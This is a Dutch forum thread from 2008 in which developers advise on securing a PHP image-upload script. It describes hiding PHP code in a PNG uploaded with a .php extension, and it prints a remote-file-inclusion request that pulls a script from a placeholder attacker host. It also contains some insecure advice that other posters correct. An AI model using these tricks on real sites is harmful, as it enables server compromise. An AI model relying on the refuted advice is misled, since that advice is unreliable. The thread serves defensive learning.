PHP: is mijn upload-script veilig

[Verwijderd]

Ik heb nog geen code, maar ik wil graag weten of het veilig is wat ik van plan ben.
De bedoeling is dat een gebruiker een plaatje upload om te gebruiken als avatar. Dat plaatje wordt vervolgens in een webpagina geplaatst met

HTML:

<img src="locatie/naar/avatar">

Ik ben als de dood voor security problemen. Bijvoorbeeld dat er executable code zit in de afbeelding.

Ik ben het volgende van plan:
-checken op referer (komt het verzoek van mijn eigen site?)
-php-functie: is_uploaded_file()
-php-functie: mime_content_type()
-php-functie: getimagesize()
-controleren op extensie (png,gif,jpg,jpeg)
-maximale bestandsgroote

Is dit veilig genoeg of is er nog steeds misbruik van te maken?
Ik heb bijvoorbeeld al gelezen dat het mime-type wordt verstuurd door de browser en dus niet betrouwbaar is. De extensie is sowieso makkelijk te "vervalsen".

[Voutloos]

Referer check heb je echt helemaal niets aan, daarmee stop je alleen de arme stakkers die Norton geinstalleerd hebben.

mime_content_type() is deprecated en vervangen door Fileinfo, zie manual. Fileinfo functies kijken naar de magic bytes, wat op zich ook eenvoudig zelf te doen is.

[mithras]

^^ is sowieso belangrijk. Ik zou de referer en de extensie-check verwijderen. Een extensie is niets meer dan een Windows-only aangelegenheid om een bestandstype aan te duiden. In principe zegt een extensie niets over het type bestand, en kan door iemand gemakkelijk worden vervangen.

Verder kan je weinig tegen een buffer overflow van een jpeg bestand (nieuws: 'JPEG of death'-hoax na 10 jaar werkelijkheid), want dat valt niet eenvoudig te controleren. Meer methodes om te checken heb ik dus ook niet, je kan niet alles inperken

[ Voor 6% gewijzigd door mithras op 26-01-2008 17:43 ]

[Sh4wn]

mithras schreef op zaterdag 26 januari 2008 @ 17:43:
^^ is sowieso belangrijk. Ik zou de referer en de extensie-check verwijderen. Een extensie is niets meer dan een Windows-only aangelegenheid om een bestandstype aan te duiden. In principe zegt een extensie niets over het type bestand, en kan door iemand gemakkelijk worden vervangen.

Verder kan je weinig tegen een buffer overflow van een jpeg bestand (nieuws: 'JPEG of death'-hoax na 10 jaar werkelijkheid), want dat valt niet eenvoudig te controleren. Meer methodes om te checken heb ik dus ook niet, je kan niet alles inperken

Extensie check zou ik zeker niet verwijderen.

Stel:
Je opent een leuk plaatje, opent die in je fav tekst editor, bijv. een png. Onder al die png bytes zet je een leuke PHP code.

Sla hem op als plaatje.php, en upload hem

Resultaat:
Upload script denkt dat het een plaatje is, door al die bytes van de PNG. Maar de extensie is .php, dus de PHP code zal ook uitgevoerd worden.

Misschien heb je hier wat aan:
http://www.phpfreakz.nl/artikelen.php?aid=106

[ Voor 3% gewijzigd door Sh4wn op 26-01-2008 18:41 ]

[Erkens]

Sh4wn schreef op zaterdag 26 januari 2008 @ 18:40:
Extensie check zou ik zeker niet verwijderen.

Stel:
Je opent een leuk plaatje, opent die in je fav tekst editor, bijv. een png. Onder al die png bytes zet je een leuke PHP code.

Sla hem op als plaatje.php, en upload hem

Resultaat:
Upload script denkt dat het een plaatje is, door al die bytes van de PNG. Maar de extensie is .php, dus de PHP code zal ook uitgevoerd worden.

Extensie moet je gewoon verwijderen en daarna zelf de juiste erachter plakken. Want het gebeurd ook nog wel vaak dat iemand een JPEG upload met een .gif extensie bijvoorbeeld.

[Verwijderd]

Ik zou m'n plaatjes gewoon in een map (/var/www/images/ bijvoorbeeld) opslaan waarbij `chmod -R -x .` is uitgevoerd (je kan niks uitvoeren dus). Dan zal het nooit door php geparst worden, of door welk ander programma.

En dan met behulp van de magic bytes het filetype bepalen, en aan de hand daarvan het mime-type meegeven (maar wel beperken tot GIF/JPG/PNG - anders gewoon harde error!). Dan kan een PNG-file genaamd "lalala.gif" gewoon als image/png verstuurd worden, wat in elke browser goed gaat. Het is alleen wat vervelend voor Windows-mensen als ze het plaatje willen opslaan, omdat Windows werkt met extensies.

Tegen zo'n JPEG-library bug kan je weinig doen. Je browser moet zelf maar een beetje aan sandboxing doen.

[ Voor 38% gewijzigd door Verwijderd op 26-01-2008 18:53 ]

[Verwijderd]

De extensie-check houd ik er voor de zekerheid in. Ik heb op www.phphulp.nl code gevonden waarmee ik de magic bytes probeer te achterhalen.
De tip van DOT ga ik zeker ook gebruiken (chmod...).

Bedankt voor jullie reacties!
Ik ben er nu wat geruster op dat ik de juiste voorzorgsmaatregelen neem. 100% veiligheid blijft waarschijnlijk een illusie.

[Sh4wn]

Dat chmodden is idd een goede tip, die houd ik ook in mijn achterhoofd

[TheBorg]

Ik gebruik altijd getimagesize() om te kijken of de breedte/hoogte normale waarden hebben. Nog beter is het plaatje resizen naar het juiste formaat voor je site, als er dan al een script in zat dat is het script in ieder geval helemaal verminkt. Je kunt dan ook TIF en PNG omzetten naar JPG en zelf de compressie bepalen zodat de pagina's lekker snel blijven laden.

[ Voor 19% gewijzigd door TheBorg op 26-01-2008 18:58 ]

[Verwijderd]

Hmm, ik moet m'n chmod-commands uittesten voor ik ze vertel...

Als je de uitvoerbaarheid van een directory uitzet mag je de directory niet meer in. Dat werkt dus niet. Misschien dat iemand anders weet hoe je je permissies zo krijgt dat aangemaakte files in een directory niet uitgevoerd kunnen worden.

[Erkens]

Verwijderd schreef op zaterdag 26 januari 2008 @ 19:07:
Als je de uitvoerbaarheid van een directory uitzet mag je de directory niet meer in. Dat werkt dus niet. Misschien dat iemand anders weet hoe je je permissies zo krijgt dat aangemaakte files in een directory niet uitgevoerd kunnen worden.

Als het goed is worden voor nieuwe files nooit de execute permissies gezet. Anders moet je je umask goed zetten. Daarnaast moet je eigenlijk nooit geuploade files in je webroot zetten, maar sowieso niet in directories waar je scripts kan executen
Ook moet je natuurlijk nooit dergelijke bestanden in je PHP includen, dat is gewoon vragen om problemen.

[Verwijderd]

Als het alleen maar gaat om afbeeldingen kun je de afbeeldingen ook door GD heen halen, oftewel een nieuw plaatje aanmaken op basis van het plaatje wat geupload is.

Hierbij heb je eventueel wel wat kwaliteitsverlies (al zal dat wel meevallen) en wat meer serverload (al zal dat ook wel meevallen, hardware van tegenwoordig is zo snel), maar het plaatje wat uiteindelijk op je server komt is zeker veilig.

Zou je alleen even een lijstje van GD exploits moeten checken, maar volgens mij als je de nieuwste versie gebruikt zijn er die geen.

[Verwijderd]

Ah, de umask was ik vergeten. Maar dat betekent dus dat een normaal geconfigureerde Unix-like server nooit last heeft van geuploade PHP-files (zolang je geen wildcards gebruikt in je includes met PHP, als dat al kan). Waarom zou je de files dan nog buiten de webroot zetten? Als Apache een request voor een door een user geuploade "woot-lolcat.gif.php" tegenkomt, heeft die file geen execute-rechten, waardoor Apache 'm simpelweg ter download aanbiedt.

[orf]

Eh, een PHP file heeft geen execute rechten nodig om geparsed te worden hoor.
Daarnaast wil je geen PHP code in je plaatjes of files omdat ze dan te includen zijn bij andere websites die de veiligheid iets minder nauw nemen; je wilt niet dat er naar jou gewezen wordt als dat gebeurt.

[Verwijderd]

Je hebt gelijk, ik houd m'n mond vandaag verder maar.

[FragFrog]

Even afgezien van de theorieen, veiligheid staat of valt met de implementatie. Het is in mijn opinie dan ook wel nuttig om erover na te denken, maar waan je niet zeker tot je een professional (of in ieder geval een ander) naar je code hebt laten kijken.

Zo zie ik op een ander forum bijvoorbeeld geregeld de meest ingewikkelde regexpen voorbijkomen tegen SQL injectie die mensen perfect toepassen maar waar vervolgens gaten in zitten die een simpele mysql_real_escape_string had voorkomen. Of superveilige uploadscripts die vervolgens met een include($_GET['filename']) aangeroepen worden, ik noem maar iets

* FragFrog krijgt soms het gevoel dat mensen bezig zijn het equivalent van metersdikke stalen deuren op te trekken terwijl ze vergeten dat het achterraampje van enkelglas is

[blackjack21]

include($_GET['filename']) hoeft helemaal niet onveilig te zijn.

Als je het volgende gebruikt is het gewoon veilig hoor. Dan kan je in de gehele site $_GET gebruiken, zal altijd veilig zijn. Zelfde geldt voor $_POST, $_COOKIE, $_SESSION, etc

foreach($_GET as $key=>value) {
$_GET[$key] = validatiefunctie($value);
}

[Voutloos]

offtopic:
Je gaat een beetje offtopic blackjack21. Iedereen kent het type veiligheidslek waar fragfrog op doelt wel. Bovendien zou ik jouw oplossing niet de mooist oplossing vinden, je wil namelijk niet parameters welke een int, string, filename of wist-ik-het-maar moeten zijn allemaal op dezelfde controleren.

[Erkens]

blackjack21 schreef op zondag 27 januari 2008 @ 15:30:
include($_GET['filename']) hoeft helemaal niet onveilig te zijn.

Als je het volgende gebruikt is het gewoon veilig hoor. Dan kan je in de gehele site $_GET gebruiken, zal altijd veilig zijn. Zelfde geldt voor $_POST, $_COOKIE, $_SESSION, etc

foreach($_GET as $key=>value) {
$_GET[$key] = validatiefunctie($value);
}

die validatiefunctie moet dat wel weten welke GET argumenten waarvoor bedoeld zijn. Het is handiger (en imo beter) om de check te doen waar je het nodig hebt, voorkomt tevens ook dat je teveel doet.
Daarnaast ben ik er niet echt een fan van om die superglobals te gaan editen.

[Verwijderd]

Daarnaast is het pure overkill om alle parameters te checken bij ieder script, dat kost je een bak performance. (Wat Erkens dus al zegt )

Veel beter is dan om $_GET te vervangen door een wrapper functie met de naam _GET bijvoorbeeld, die wrapper functies kan dan allerlei checks uitvoeren en het hele slashes gezeur van PHP corrigeren.

[ Voor 4% gewijzigd door Verwijderd op 27-01-2008 15:49 ]

[Voutloos]

Verwijderd schreef op zondag 27 januari 2008 @ 15:49:
Daarnaast is het pure overkill om alle parameters te checken bij ieder script, dat kost je een bak performance. (Wat Erkens dus al zegt )

Je moet wel alle input checken, je moet het alleen niet allemaal op dezelfde manier checken.

en het hele slashes gezeur van PHP corrigeren.

Dat is niet zomaar 'het gezeur van PHP', dat is magic_quotes, een feature die iedereen inmiddels stom vind en welke maar gauw dood moet (PHP6? ).

[Sh4wn]

Voutloos schreef op zondag 27 januari 2008 @ 16:12:
[...]
Je moet wel alle input checken, je moet het alleen niet allemaal op dezelfde manier checken.
[...]
Dat is niet zomaar 'het gezeur van PHP', dat is magic_quotes, een feature die iedereen inmiddels stom vind en welke maar gauw dood moet (PHP6? ).

Het is al bekend dat magic_quotes er voorgoed uitgaan in PHP6 Die optie aanzetten of het gebruik van 1 van die functies die het aan en uit zetten regelt geeft meteen error.

[Erkens]

Voutloos schreef op zondag 27 januari 2008 @ 16:12:
Dat is niet zomaar 'het gezeur van PHP', dat is magic_quotes, een feature die iedereen inmiddels stom vind en welke maar gauw dood moet (PHP6? ).

offtopic:
zodra mijn applicaties detecteren dat magic_quotes aanstaat dan stoppen ze gewoon met werken

[FragFrog]

blackjack21 schreef op zondag 27 januari 2008 @ 15:30:
Als je het volgende gebruikt is het gewoon veilig hoor. Dan kan je in de gehele site $_GET gebruiken, zal altijd veilig zijn. Zelfde geldt voor $_POST, $_COOKIE, $_SESSION, etc

foreach($_GET as $key=>value) {
$_GET[$key] = validatiefunctie($value);
}

Bedankt voor deze illustratie. Wat, precies, valideert jou validatiefunctie? Voegt het slashes toe? Gooit het er een mysql_real_escape_string overheen? Of zorgt die er daadwerkelijk voor dat alle GET variabelen enkel uit bijvoorbeeld letters en cijfers bestaan?

Tenzij het laatste het geval is kun je, mits je niet in save-mode werkt, namelijk anders prima url.php/?includefile=http://bad.site.com/hack_script.php doen en ga je al. Je kan niet 1 functie gebruiken die alles valideert, dit zorgt er of voor dat je veel te streng controleert (met alle gevolgen voor useability van dien) of je laat lekken open. De enige manier waarop een include($_GET['file']) niet per definitie onveilig is, is als je eerst iets doet als dit:

PHP:

$_GET['file'] = in_array($_GET['file'], $saveList) ? $_GET['file'] : 'default.php';

En dat was ook de hele reden voor mijn eerste post: veiligheid staat en valt met de weakest link. Wij kunnen onmogelijk zien of het script van de TS veilig is. Het is altijd goed om erover na te denken, maar alle technieken gebruiken om exploits tegen te gaan garandeert nog steeds geen veilige site